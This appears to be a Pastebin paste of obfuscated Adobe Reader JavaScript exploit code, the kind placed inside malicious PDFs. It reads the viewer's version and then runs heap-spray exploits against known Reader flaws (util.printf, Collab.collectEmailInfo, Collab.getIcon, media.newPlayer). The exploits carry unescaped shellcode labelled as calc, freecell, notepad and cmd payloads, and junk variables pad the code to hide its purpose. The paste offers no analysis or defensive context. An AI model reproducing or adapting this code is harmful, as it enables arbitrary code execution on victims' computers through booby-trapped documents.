Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var w = new String();
- var c = app;
- function s(yarsp, len) {
- while (yarsp.length * 2 < len) {
- yarsp += yarsp;
- this.x = false;
- }
- var eI = 37715;
- yarsp = yarsp.substring(0, len / 2);
- return yarsp;
- var yE = 18340;
- }
- var m = new String("");
- function cG() {
- var chunk_size, payload, nopsled;
- chunk_size = 0x8000;
- // calc.exe payload
- payload = unescape("%uabba%ua906%u29f1%ud9c9%ud9c9%u2474%ub1f4%u
- 5d64%uc583%u3104%u0f55%u5503%ue20f%ued5e%uabb9%uc1ea%u2d70%u1953%u32
- 82%u6897%ud01d%u872d%ufd18%ua73a%u02dc%u14cc%u64ba%u66b5%uae41%uf16c
- %u5623%udb7c%u7bc1%u5e69%u69dd%uf0b0%ucf0c%u1950%udd95%u5ab9%u7b37%u
- 772b%uc55f%u1531%ue18d%u70c8%uc2c5%u4c1c%u7b34%u2f3a%ue82b...");
- nopsled = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
- while (nopsled.length < chunk_size)
- nopsled += nopsled;
- nopsled_len = chunk_size - (payload.length + 20);
- nopsled = nopsled.substring(0, nopsled_len);
- heap_chunks = new Array();
- for (var i = 0; i < 2500; i++)
- heap_chunks[i] = nopsled + payload;
- util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
- try {
- media.newPlayer(null);
- } catch (e) {}
- util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
- }
- var iF = function () {};
- function cN() {
- var o = "o";
- // freecell.exe payload
- var payload = unescape("%uc929%u65b1%ud7db%u74d9%uf424%u83b8%u38
- 30%u5b84%u4331%u0313%u1343%u6883%udacc%u8571%u413d%u6a30%u13f7%ub07d
- %u5c06%uc249%ube91%u3948%ud6a4%u4246%ud958%uf0e9%ubf3e%ucb93%uf8bc%u
- 520a%u60a7%ubd5e%u804d%ub8b6%ub75a%u5391%uf6b0%ub933%uea10%ubade%u91
- ba%ud64b%u1fdb%ub411%ub731%u92ab%uf842%u2a7a%ua0b8%uc819%uc7af%u9be
- ");
- this.dN = "";
- var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
- var hW = new String();
- var heapblock = nop + payload;
- this.qA = "qA";
- var bigblock = unescape("%u0A0A%u0A0A");
- this.alphaY = 12267;
- var headersize = 20;
- var spray = headersize + heapblock.length;
- var jZ = '';
- var jY = "";
- while (bigblock.length < spray) {
- this.r = "r";
- bigblock += bigblock;
- var edit = "edit";
- }
- this.xGoogle = '';
- this.vY = false;
- var fillblock = bigblock.substring(0, spray);
- var iP = function () {};
- var block = bigblock.substring(0, bigblock.length - spray);
- var googleD = false;
- this.fUEdit = "";
- while (block.length + spray < 0x40000) {
- block = block + block + fillblock;
- this.bJ = '';
- }
- var googleQ = '';
- this.nW = '';
- var mem_array = new Array();
- var cH = new String();
- var nVO = new String("");
- for (var i = 0; i < 1400; i++) {
- mem_array[i] = block + heapblock;
- var sQ = new String("");
- }
- var wC = '';
- var num = 129999999999999999998888888888888888888888888888888888
- 88888888888888888888888888888888888888888888888888888888888888888888
- 88888888888888888888888888888888888888888888888888888888888888888888
- 88888888888888888888888888888888888888888888888888888888888888888888
- 88888888888888888888888888888888888888;
- this.bC = 3699;
- util.printf("%45000f", num);
- }
- var eQ = "";
- function gX() {
- var basicZ = '';
- // notepad.exe payload
- var shellcode = unescape("%uc931%u64b1%ub6bf%u558b%ud976%ud9
- cd%u2474%u58f4%ue883%u31fc%u0d78%u7803%ue20d%u6043%u2c45%u44e1%ub6af
- %u964c%ub72e%ued9a%u55a9%u1a18%u71cc%u2237%u7e30%u91b7%u1856%ue9ae%u
- 2394%u7479%ucdff%u5e6b%ufc95%ue562%u12a2%u77ad%u53d8%u925f%u4178%ue5
- b2%ufc62%uf826%ub883%u9e2c%u6c59%uf5dd%u5d2a%uc113%uc7c1%ub031...");
- var mem_array = new Array();
- this.googleBasicR = "";
- var cc = 0x0c0c0c0c;
- var addr = 0x400000;
- var sc_len = shellcode.length * 2;
- var len = addr - (sc_len + 0x38);
- var yarsp = unescape("%u9090%u9090");
- this.eS = "eS";
- yarsp = s(yarsp, len);
- var count2 = (cc - 0x400000) / addr;
- this.rF = false;
- this.p = "p";
- for (var count = 0; count < count2; count++) {
- mem_array[count] = yarsp + shellcode;
- }
- var bUpdate = new String("");
- var overflow = unescape("%u0c0c%u0c0c");
- var cP = function() {};
- this.gD = "";
- while (overflow.length < 44952) {
- this.tO = "";
- overflow += overflow;
- }
- var adobeD = new String();
- this.collabStore = Collab.collectEmailInfo({
- subj: "",
- msg: overflow
- });
- }
- function updateE() {
- var xI = new String("");
- if (c.doc.Collab.getIcon) {
- var arry = new Array();
- // cmd.exe payload
- var vvpethya = unescape("%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231%u03
- 12%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%ue7f8%u982e%u1dcf%u7aa8
- %ucad5%u92cf%uf3c1%u9d2f%u4766%ufb49%u941e%uc494%u8389%uacfe%u6ad8%u
- dd95%u0935%uf3a2%u801c%ub2d9%u488c%u2678%u0b5c%udd62%u01f4%u5b82%u47
- 92%u4b5e%u2d2e%ubc2a%uf9ff%ue4c1%u9b9a%u83f7%ucc69%u3938%u1fb1%u7e29
- %uc50b%ue214%u8248%udcd8%ub3b7%u890b%ue425%uab91%u5210%u5192%uc8fc%u
- 9932%u9def%ubaa1%u0795%u1c9f%uacee%uc5ba%u4b1c%uaf20%u0832%u3e47%u91
- 29%uacf0%ude04%u1062%ue9e7%u0804%uf391%ubf69%ucc69%u71f0%u1108%uccee
- %u0d20%ubecf%ub462%ud949%u9971%u15e3%u3c5a%ub053%u5d89%u6c82%u6648%u
- 07ae%u7ad2%u148a%ub09d%u1572%u1aab%u33e6%u5a91%ub8af%u4744%udd4a%u8b
- 98%u47f2%u2af0%ub1cc...");
- var updateX = 39796;
- var hWq500CN = vvpethya.length * 2;
- var len = 0x400000 - (hWq500CN + 0x38);
- var zAdobe = "";
- var yarsp = unescape("%u9090%u9090");
- var dU = "";
- yarsp = s(yarsp, len);
- this.zAdobeK = "";
- var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
- var aG = new Date();
- for (var vqcQD96y = 0;vqcQD96y<p5AjK65f;vqcQD96y++){
- var lBasic = "";
- arry[vqcQD96y] = yarsp + vvpethya;
- var u = "";
- }
- var iAlpha = function() {};
- var tUMhNbGw = unescape("%09");
- while (tUMhNbGw.length < 0x4000) {
- this.gN = false;
- tUMhNbGw += tUMhNbGw;
- }
- var hV = new String("");
- var nVE = function() {};
- tUMhNbGw = "N." + tUMhNbGw;
- c.doc.Collab.getIcon(tUMhNbGw);
- }
- this.wZ = 44811;
- }
- var hO = new String("");
- function nO() {
- this.iR = false;
- var version = c.viewerVersion.toString();
- var zH = '';
- version = version.replace(/D/g, '');
- var varsion_array= new Array(version.charAt(0),version.charAt(1),
- version.charAt(2));
- if ((varsion_array[0] == 8) && (varsion_array[1] == 0) ||
- (varsion_array[1] == 1 &&varsion_array[2] < 3)) {
- cN();
- }
- this.wN = "";
- var aQ = new String("");
- if ((varsion_array[0] < 8) || (varsion_array[0] == 8
- && varsion_array[1] < 2 &&
- varsion_array[2] <2)) {
- gX();
- }
- var vEdit = "";
- if ((varsion_array[0] < 9) || (varsion_array[0] == 9
- && varsion_array[1] < 1)) {
- updateE();
- }
- var eH = function() {};
- var eSJ = new Function();
- cG();
- var vUpdate = false;
- }
- var basicU = new Date();
- this.updateO = false;
- nO();
- var mUpdate = function() {};
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement